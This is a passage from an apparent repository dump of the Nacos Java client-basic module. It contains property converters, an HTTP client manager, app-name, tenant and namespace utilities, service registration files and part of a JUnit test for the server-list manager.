    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env.convert;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.MissingFormatArgumentException;\n\n/**\n * default converters.\n * @author onewe\n */\npublic class CompositeConverter {\n    \n    private final Map<Class<?>, AbstractPropertyConverter<?>> converterRegistry = new HashMap<>();\n    \n    public CompositeConverter() {\n        converterRegistry.put(Boolean.class, new BooleanConverter());\n        converterRegistry.put(Integer.class, new IntegerConverter());\n        converterRegistry.put(Long.class, new LongConverter());\n    }\n    \n    /**\n     * convert property to target type.\n     * @param property the property gets from environments\n     * @param targetClass target class object\n     * @param <T> target type\n     * @return the object of target type\n     */\n    public <T> T convert(String property, Class<T> targetClass) {\n        final AbstractPropertyConverter<?> converter = converterRegistry.get(targetClass);\n        if (converter == null) {\n            throw new MissingFormatArgumentException(\"converter not found, can't convert from String to \" + targetClass.getCanonicalName());\n        }\n        return (T) converter.convert(property);\n    }\n    \n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/convert/IntegerConverter.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env.convert;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nclass IntegerConverter extends AbstractPropertyConverter<Integer> {\n    \n    @Override\n    Integer convert(String property) {\n        if (StringUtils.isEmpty(property)) {\n            return null;\n        }\n        try {\n            return Integer.valueOf(property);\n        } catch (Exception e) {\n            throw new IllegalArgumentException(\"Cannot convert String [\" + property + \"] to Integer\");\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/convert/LongConverter.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env.convert;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nclass LongConverter extends AbstractPropertyConverter<Long> {\n    \n    @Override\n    Long convert(String property) {\n        if (StringUtils.isEmpty(property)) {\n            return null;\n        }\n        try {\n            return Long.valueOf(property);\n        } catch (Exception e) {\n            throw new IllegalArgumentException(\"Cannot convert String [\" + property + \"] to Long\");\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/remote/HttpClientManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.remote;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.http.AbstractHttpClientFactory;\nimport com.alibaba.nacos.common.http.HttpClientBeanHolder;\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.utils.ExceptionUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * http Manager.\n *\n * @author Nacos\n */\npublic class HttpClientManager implements Closeable {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(HttpClientManager.class);\n    \n    private static final HttpClientFactory HTTP_CLIENT_FACTORY = new HttpClientFactory();\n    \n    private static final int CON_TIME_OUT_MILLIS = 1000;\n    \n    private static final int READ_TIME_OUT_MILLIS = 3000;\n    \n    private static class HttpClientManagerInstance {\n        \n        private static final HttpClientManager INSTANCE = new HttpClientManager();\n    }\n    \n    public static HttpClientManager getInstance() {\n        return HttpClientManagerInstance.INSTANCE;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        LOGGER.info(\"[HttpClientManager] Start destroying NacosRestTemplate\");\n        try {\n            HttpClientBeanHolder.shutdownNacosSyncRest(HTTP_CLIENT_FACTORY.getClass().getName());\n        } catch (Exception ex) {\n            LOGGER.error(\"[HttpClientManager] An exception occurred when the HTTP client was closed : {}\",\n                    ExceptionUtil.getStackTrace(ex));\n        }\n        LOGGER.info(\"[HttpClientManager] Completed destruction of NacosRestTemplate\");\n    }\n    \n    /**\n     * get connectTimeout.\n     *\n     * @param connectTimeout connectTimeout\n     * @return int return max timeout\n     */\n    public int getConnectTimeoutOrDefault(int connectTimeout) {\n        return Math.max(CON_TIME_OUT_MILLIS, connectTimeout);\n    }\n    \n    /**\n     * get NacosRestTemplate Instance.\n     *\n     * @return NacosRestTemplate\n     */\n    public NacosRestTemplate getNacosRestTemplate() {\n        return HttpClientBeanHolder.getNacosRestTemplate(HTTP_CLIENT_FACTORY);\n    }\n    \n    /**\n     * HttpClientFactory.\n     */\n    private static class HttpClientFactory extends AbstractHttpClientFactory {\n        \n        @Override\n        protected HttpClientConfig buildHttpClientConfig() {\n            return HttpClientConfig.builder().setConTimeOutMillis(CON_TIME_OUT_MILLIS)\n                    .setReadTimeOutMillis(READ_TIME_OUT_MILLIS).build();\n        }\n        \n        @Override\n        protected Logger assignLogger() {\n            return LOGGER;\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/utils/AppNameUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.client.constant.Constants;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.File;\n\n/**\n * appName util.\n *\n * @author Nacos\n */\npublic class AppNameUtils {\n    \n    private static final String PARAM_MARKING_JBOSS = \"jboss.server.home.dir\";\n    \n    private static final String PARAM_MARKING_JETTY = \"jetty.home\";\n    \n    private static final String PARAM_MARKING_TOMCAT = \"catalina.base\";\n    \n    private static final String LINUX_ADMIN_HOME = \"/home/admin/\";\n    \n    private static final String SERVER_JBOSS = \"jboss\";\n    \n    private static final String SERVER_JETTY = \"jetty\";\n    \n    private static final String SERVER_TOMCAT = \"tomcat\";\n    \n    private static final String SERVER_UNKNOWN = \"unknown server\";\n    \n    private static final String DEFAULT_APP_NAME = \"unknown\";\n    \n    public static String getAppName() {\n        String appName;\n        \n        appName = getAppNameByProjectName();\n        if (appName != null) {\n            return appName;\n        }\n        \n        appName = getAppNameByServerHome();\n        if (appName != null) {\n            return appName;\n        }\n        \n        return DEFAULT_APP_NAME;\n    }\n    \n    private static String getAppNameByProjectName() {\n        return NacosClientProperties.PROTOTYPE.getProperty(Constants.SysEnv.PROJECT_NAME);\n    }\n    \n    private static String getAppNameByServerHome() {\n        String serverHome = null;\n        if (SERVER_JBOSS.equals(getServerType())) {\n            serverHome = NacosClientProperties.PROTOTYPE.getProperty(PARAM_MARKING_JBOSS);\n        } else if (SERVER_JETTY.equals(getServerType())) {\n            serverHome = NacosClientProperties.PROTOTYPE.getProperty(PARAM_MARKING_JETTY);\n        } else if (SERVER_TOMCAT.equals(getServerType())) {\n            serverHome = NacosClientProperties.PROTOTYPE.getProperty(PARAM_MARKING_TOMCAT);\n        }\n        \n        if (serverHome != null && serverHome.startsWith(LINUX_ADMIN_HOME)) {\n            return StringUtils.substringBetween(serverHome, LINUX_ADMIN_HOME, File.separator);\n        }\n        \n        return null;\n    }\n    \n    private static String getServerType() {\n        String serverType;\n        if (NacosClientProperties.PROTOTYPE.getProperty(PARAM_MARKING_JBOSS) != null) {\n            serverType = SERVER_JBOSS;\n        } else if (NacosClientProperties.PROTOTYPE.getProperty(PARAM_MARKING_JETTY) != null) {\n            serverType = SERVER_JETTY;\n        } else if (NacosClientProperties.PROTOTYPE.getProperty(PARAM_MARKING_TOMCAT) != null) {\n            serverType = SERVER_TOMCAT;\n        } else {\n            serverType = SERVER_UNKNOWN;\n        }\n        return serverType;\n    }\n    \n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/utils/ClientBasicParamUtil.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.SystemPropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.utils.ConvertUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.VersionUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Properties;\nimport java.util.regex.Pattern;\n\n/**\n * Nacos client basic parameters utils.\n *\n * @author xiweng.yy\n */\npublic class ClientBasicParamUtil {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ClientBasicParamUtil.class);\n    \n    private static final Pattern PATTERN = Pattern.compile(\"\\\\$\\\\{[^}]+\\\\}\");\n    \n    private static final int DESENSITISE_PARAMETER_MIN_LENGTH = 2;\n    \n    private static final int DESENSITISE_PARAMETER_KEEP_ONE_CHAR_LENGTH = 8;\n    \n    private static final String NACOS_CLIENT_APP_KEY = \"nacos.client.appKey\";\n    \n    private static final String NACOS_CLIENT_CONTEXT_PATH_KEY = \"nacos.client.contextPath\";\n    \n    private static final String DEFAULT_NACOS_CLIENT_CONTEXT_PATH = \"nacos\";\n    \n    private static final String NACOS_SERVER_PORT_KEY = \"nacos.server.port\";\n    \n    private static final String DEFAULT_SERVER_PORT = \"8848\";\n    \n    private static final String BLANK_STR = \"\";\n    \n    private static String defaultContextPath;\n    \n    private static String appKey;\n    \n    private static String clientVersion = \"unknown\";\n    \n    private static String serverPort;\n    \n    private static String defaultNodesPath = \"serverlist\";\n    \n    static {\n        // Client identity information\n        appKey = NacosClientProperties.PROTOTYPE.getProperty(NACOS_CLIENT_APP_KEY, BLANK_STR);\n        \n        defaultContextPath = NacosClientProperties.PROTOTYPE.getProperty(NACOS_CLIENT_CONTEXT_PATH_KEY,\n                DEFAULT_NACOS_CLIENT_CONTEXT_PATH);\n        \n        serverPort = NacosClientProperties.PROTOTYPE.getProperty(NACOS_SERVER_PORT_KEY, DEFAULT_SERVER_PORT);\n        LOGGER.info(\"[settings] [req-serv] nacos-server port:{}\", serverPort);\n        \n        clientVersion = VersionUtils.version;\n    }\n    \n    public static String getAppKey() {\n        return appKey;\n    }\n    \n    public static void setAppKey(String appKey) {\n        ClientBasicParamUtil.appKey = appKey;\n    }\n    \n    public static String getDefaultContextPath() {\n        return defaultContextPath;\n    }\n    \n    public static void setDefaultContextPath(String defaultContextPath) {\n        ClientBasicParamUtil.defaultContextPath = defaultContextPath;\n    }\n    \n    public static String getClientVersion() {\n        return clientVersion;\n    }\n    \n    public static void setClientVersion(String clientVersion) {\n        ClientBasicParamUtil.clientVersion = clientVersion;\n    }\n    \n    public static String getDefaultServerPort() {\n        return serverPort;\n    }\n    \n    public static String getDefaultNodesPath() {\n        return defaultNodesPath;\n    }\n    \n    public static void setDefaultNodesPath(String defaultNodesPath) {\n        ClientBasicParamUtil.defaultNodesPath = defaultNodesPath;\n    }\n    \n    /**\n     * Parse namespace from properties and environment.\n     *\n     * @param properties properties\n     * @return namespace\n     */\n    public static String parseNamespace(NacosClientProperties properties) {\n        String namespaceTmp = null;\n        \n        String isUseCloudNamespaceParsing = properties.getProperty(PropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING,\n                properties.getProperty(SystemPropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING,\n                        String.valueOf(Constants.DEFAULT_USE_CLOUD_NAMESPACE_PARSING)));\n        \n        if (Boolean.parseBoolean(isUseCloudNamespaceParsing)) {\n            namespaceTmp = TenantUtil.getUserTenantForAcm();\n            \n            namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, () -> {\n                String namespace = properties.getProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_NAMESPACE);\n                return StringUtils.isNotBlank(namespace) ? namespace : StringUtils.EMPTY;\n            });\n        }\n        \n        if (StringUtils.isBlank(namespaceTmp)) {\n            namespaceTmp = properties.getProperty(PropertyKeyConst.NAMESPACE);\n        }\n        return StringUtils.isNotBlank(namespaceTmp) ? namespaceTmp.trim() : Constants.DEFAULT_NAMESPACE_ID;\n    }\n    \n    /**\n     * Parse end point rule.\n     *\n     * @param endpointUrl endpoint url\n     * @return end point rule\n     */\n    public static String parsingEndpointRule(String endpointUrl) {\n        // If entered in the configuration file, the priority in ENV will be given priority.\n        if (endpointUrl == null || !PATTERN.matcher(endpointUrl).find()) {\n            // skip retrieve from system property and retrieve directly from system env\n            String endpointUrlSource = NacosClientProperties.PROTOTYPE.getProperty(\n                    PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL);\n            if (StringUtils.isNotBlank(endpointUrlSource)) {\n                endpointUrl = endpointUrlSource;\n            }\n            \n            return StringUtils.isNotBlank(endpointUrl) ? endpointUrl : \"\";\n        }\n        \n        endpointUrl = endpointUrl.substring(endpointUrl.indexOf(\"${\") + 2, endpointUrl.lastIndexOf(\"}\"));\n        int defStartOf = endpointUrl.indexOf(\":\");\n        String defaultEndpointUrl = null;\n        if (defStartOf != -1) {\n            defaultEndpointUrl = endpointUrl.substring(defStartOf + 1);\n            endpointUrl = endpointUrl.substring(0, defStartOf);\n        }\n        \n        String endpointUrlSource = TemplateUtils.stringBlankAndThenExecute(\n                NacosClientProperties.PROTOTYPE.getProperty(endpointUrl),\n                () -> NacosClientProperties.PROTOTYPE.getProperty(\n                        PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL));\n        \n        if (StringUtils.isBlank(endpointUrlSource)) {\n            if (StringUtils.isNotBlank(defaultEndpointUrl)) {\n                endpointUrl = defaultEndpointUrl;\n            }\n        } else {\n            endpointUrl = endpointUrlSource;\n        }\n        \n        return StringUtils.isNotBlank(endpointUrl) ? endpointUrl : \"\";\n    }\n    \n    public static String getInputParameters(Properties properties) {\n        boolean logAllParameters = ConvertUtils.toBoolean(properties.getProperty(PropertyKeyConst.LOG_ALL_PROPERTIES),\n                false);\n        StringBuilder result = new StringBuilder();\n        if (logAllParameters) {\n            result.append(\n                    \"Log nacos client init properties with Full mode, This mode is only used for debugging and troubleshooting. \");\n            result.append(\n                    \"Please close this mode by removing properties `logAllProperties` after finishing debug or troubleshoot.\\n\");\n            result.append(\"Nacos client all init properties: \\n\");\n            properties.forEach(\n                    (key, value) -> result.append(\"\\t\").append(key.toString()).append(\"=\").append(value.toString())\n                            .append(\"\\n\"));\n        } else {\n            result.append(\"Nacos client key init properties: \\n\");\n            appendKeyParameters(result, properties, PropertyKeyConst.SERVER_ADDR, false);\n            appendKeyParameters(result, properties, PropertyKeyConst.NAMESPACE, false);\n            appendKeyParameters(result, properties, PropertyKeyConst.ENDPOINT, false);\n            appendKeyParameters(result, properties, PropertyKeyConst.ENDPOINT_PORT, false);\n            appendKeyParameters(result, properties, PropertyKeyConst.USERNAME, false);\n            appendKeyParameters(result, properties, PropertyKeyConst.PASSWORD, true);\n            appendKeyParameters(result, properties, PropertyKeyConst.ACCESS_KEY, true);\n            appendKeyParameters(result, properties, PropertyKeyConst.SECRET_KEY, true);\n            appendKeyParameters(result, properties, PropertyKeyConst.RAM_ROLE_NAME, false);\n            appendKeyParameters(result, properties, PropertyKeyConst.SIGNATURE_REGION_ID, false);\n        }\n        return result.toString();\n    }\n    \n    private static void appendKeyParameters(StringBuilder result, Properties properties, String propertyKey,\n            boolean needDesensitise) {\n        String propertyValue = properties.getProperty(propertyKey);\n        if (StringUtils.isBlank(propertyValue)) {\n            return;\n        }\n        result.append(\"\\t\").append(propertyKey).append(\"=\")\n                .append(needDesensitise ? desensitiseParameter(propertyValue) : propertyValue).append(\"\\n\");\n    }\n    \n    /**\n     * Do desensitise for parameters with `*` to replace inner content.\n     *\n     * @param parameterValue parameter value which need be desensitised.\n     * @return desensitised parameter value.\n     */\n    public static String desensitiseParameter(String parameterValue) {\n        if (parameterValue.length() <= DESENSITISE_PARAMETER_MIN_LENGTH) {\n            return parameterValue;\n        }\n        if (parameterValue.length() < DESENSITISE_PARAMETER_KEEP_ONE_CHAR_LENGTH) {\n            return doDesensitiseParameter(parameterValue, 1);\n        }\n        return doDesensitiseParameter(parameterValue, 2);\n    }\n    \n    private static String doDesensitiseParameter(String parameterValue, int keepCharCount) {\n        StringBuilder result = new StringBuilder(parameterValue);\n        for (int i = keepCharCount; i < parameterValue.length() - keepCharCount; i++) {\n            result.setCharAt(i, '*');\n        }\n        return result.toString();\n    }\n    \n    public static String getNameSuffixByServerIps(String... serverIps) {\n        StringBuilder sb = new StringBuilder();\n        String split = \"\";\n        for (String serverIp : serverIps) {\n            sb.append(split);\n            serverIp = serverIp.replaceAll(\"http(s)?://\", \"\");\n            sb.append(serverIp.replaceAll(\":\", \"_\"));\n            split = \"-\";\n        }\n        return sb.toString();\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/utils/ContextPathUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Context path Util.\n *\n * @author Wei.Wang\n */\npublic class ContextPathUtil {\n    \n    private static final String ROOT_WEB_CONTEXT_PATH = \"/\";\n    \n    /**\n     * normalize context path.\n     *\n     * @param contextPath origin context path\n     * @return normalized context path\n     */\n    public static String normalizeContextPath(String contextPath) {\n        if (StringUtils.isBlank(contextPath) || ROOT_WEB_CONTEXT_PATH.equals(contextPath)) {\n            return StringUtils.EMPTY;\n        }\n        return contextPath.startsWith(ROOT_WEB_CONTEXT_PATH) ? contextPath : ROOT_WEB_CONTEXT_PATH + contextPath;\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/utils/TemplateUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.concurrent.Callable;\n\n/**\n * Template Utils.\n *\n * @author Nacos\n */\npublic class TemplateUtils {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(TemplateUtils.class);\n    \n    /**\n     * Execute if string not empty.\n     *\n     * @param source   source\n     * @param runnable execute runnable\n     */\n    public static void stringNotEmptyAndThenExecute(String source, Runnable runnable) {\n        \n        if (StringUtils.isNotEmpty(source)) {\n            \n            try {\n                runnable.run();\n            } catch (Exception e) {\n                LOGGER.error(\"string not empty and then execute cause an exception.\", e);\n            }\n        }\n    }\n    \n    /**\n     * Execute if string empty.\n     *\n     * @param source   empty source\n     * @param callable execute callable\n     * @return result\n     */\n    public static String stringEmptyAndThenExecute(String source, Callable<String> callable) {\n        \n        if (StringUtils.isEmpty(source)) {\n            \n            try {\n                return callable.call();\n            } catch (Exception e) {\n                LOGGER.error(\"string empty and then execute cause an exception.\", e);\n            }\n        }\n        \n        return source == null ? null : source.trim();\n    }\n    \n    /**\n     * Execute if string blank.\n     *\n     * @param source   empty source\n     * @param callable execute callable\n     * @return result\n     */\n    public static String stringBlankAndThenExecute(String source, Callable<String> callable) {\n        \n        if (StringUtils.isBlank(source)) {\n            \n            try {\n                return callable.call();\n            } catch (Exception e) {\n                LOGGER.error(\"string empty and then execute cause an exception.\", e);\n            }\n        }\n        \n        return source == null ? null : source.trim();\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/utils/TenantUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.api.SystemPropertyKeyConst;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Tenant Util.\n *\n * @author Nacos\n */\npublic class TenantUtil {\n    \n    private static final String USER_TENANT;\n    \n    private static final String DEFAULT_ACM_NAMESPACE = \"\";\n    \n    private static final String TENANT_ID = \"tenant.id\";\n    \n    private static final String ACM_NAMESPACE_PROPERTY = \"acm.namespace\";\n    \n    static {\n        USER_TENANT = NacosClientProperties.PROTOTYPE.getProperty(TENANT_ID, \"\");\n    }\n    \n    /**\n     * Adapt the way ACM gets tenant on the cloud.\n     * <p>\n     * Note the difference between getting and getting ANS. Since the processing logic on the server side is different,\n     * the default value returns differently.\n     * </p>\n     *\n     * @return user tenant for acm\n     */\n    public static String getUserTenantForAcm() {\n        String tmp = USER_TENANT;\n        \n        if (StringUtils.isBlank(USER_TENANT)) {\n            tmp = NacosClientProperties.PROTOTYPE.getProperty(ACM_NAMESPACE_PROPERTY, DEFAULT_ACM_NAMESPACE);\n        }\n        \n        return tmp;\n    }\n    \n    /**\n     * Adapt the way ANS gets tenant on the cloud.\n     *\n     * @return user tenant for ans\n     */\n    public static String getUserTenantForAns() {\n        String tmp = USER_TENANT;\n        \n        if (StringUtils.isBlank(USER_TENANT)) {\n            tmp = NacosClientProperties.PROTOTYPE.getProperty(SystemPropertyKeyConst.ANS_NAMESPACE);\n        }\n        return tmp;\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/resources/META-INF/services/com.alibaba.nacos.client.address.ServerListProvider",
    "content": "#\n#  Copyright 1999-2024 Alibaba Group Holding Ltd.\n#\n#  Licensed under the Apache License, Version 2.0 (the \"License\");\n#  you may not use this file except in compliance with the License.\n#  You may obtain a copy of the License at\n#\n#       http://www.apache.org/licenses/LICENSE-2.0\n#\n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS,\n#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#  See the License for the specific language governing permissions and\n#  limitations under the License.\n#\n#\n\ncom.alibaba.nacos.client.address.EndpointServerListProvider\ncom.alibaba.nacos.client.address.PropertiesListProvider\n"
  },
  {
    "path": "client-basic/src/main/resources/META-INF/services/com.alibaba.nacos.plugin.auth.spi.client.AbstractClientAuthService",
    "content": "#\n#  Copyright 1999-2021 Alibaba Group Holding Ltd.\n#\n#  Licensed under the Apache License, Version 2.0 (the \"License\");\n#  you may not use this file except in compliance with the License.\n#  You may obtain a copy of the License at\n#\n#       http://www.apache.org/licenses/LICENSE-2.0\n#\n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS,\n#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#  See the License for the specific language governing permissions and\n#  limitations under the License.\n#\n#\n\ncom.alibaba.nacos.client.auth.impl.NacosClientAuthServiceImpl\ncom.alibaba.nacos.client.auth.ram.RamClientAuthServiceImpl\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/address/AbstractServerListManagerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.address;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass AbstractServerListManagerTest {\n    \n    @Mock\n    NacosRestTemplate restTemplate;\n    \n    NacosClientProperties properties;\n    \n    AbstractServerListManager serverListManager;\n    \n    @BeforeEach\n    void setUp() {\n        properties = NacosClientProperties.PROTOTYPE.derive();\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        if (null != serverListManager) {\n            serverListManager.shutdown();\n        }\n    }\n    \n    @Test\n    void testConstructorWithNamespace() {\n        serverListManager = new MockServerListManager(properties, \"test-namespace\");\n        assertFalse(properties.containsKey(PropertyKeyConst.NAMESPACE));\n        assertFalse(properties.containsKey(Constants.CLIENT_MODULE_TYPE));\n        assertTrue(serverListManager.getProperties().containsKey(PropertyKeyConst.NAMESPACE));\n        assertEquals(\"testModule\", serverListManager.getProperties().getProperty(Constants.CLIENT_MODULE_TYPE));\n    }\n    \n    @Test\n    void testConstructorWithoutNamespace() {\n        serverListManager = new MockServerListManager(properties);\n        assertFalse(properties.containsKey(PropertyKeyConst.NAMESPACE));\n        assertFalse(properties.containsKey(Constants.CLIENT_MODULE_TYPE));\n        assertFalse(serverListManager.getProperties().containsKey(PropertyKeyConst.NAMESPACE));\n        assertEquals(\"testModule\", serverListManager.getProperties().getProperty(Constants.CLIENT_MODULE_TYPE));\n    }\n    \n    @Test\n    void testStartWithoutProvider() {\n        serverListManager = new MockServerListManager(properties);\n        assertThrows(NacosException.class, () -> serverListManager.start());\n    }\n    \n    @Test\n    void testGetServerList() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        // Mock provider will call this method in init.\n        verify(restTemplate).getInterceptors();\n        assertEquals(1, serverListManager.getServerList().size());\n        assertEquals(\"mock-server-list\", serverListManager.getServerList().get(0));\n    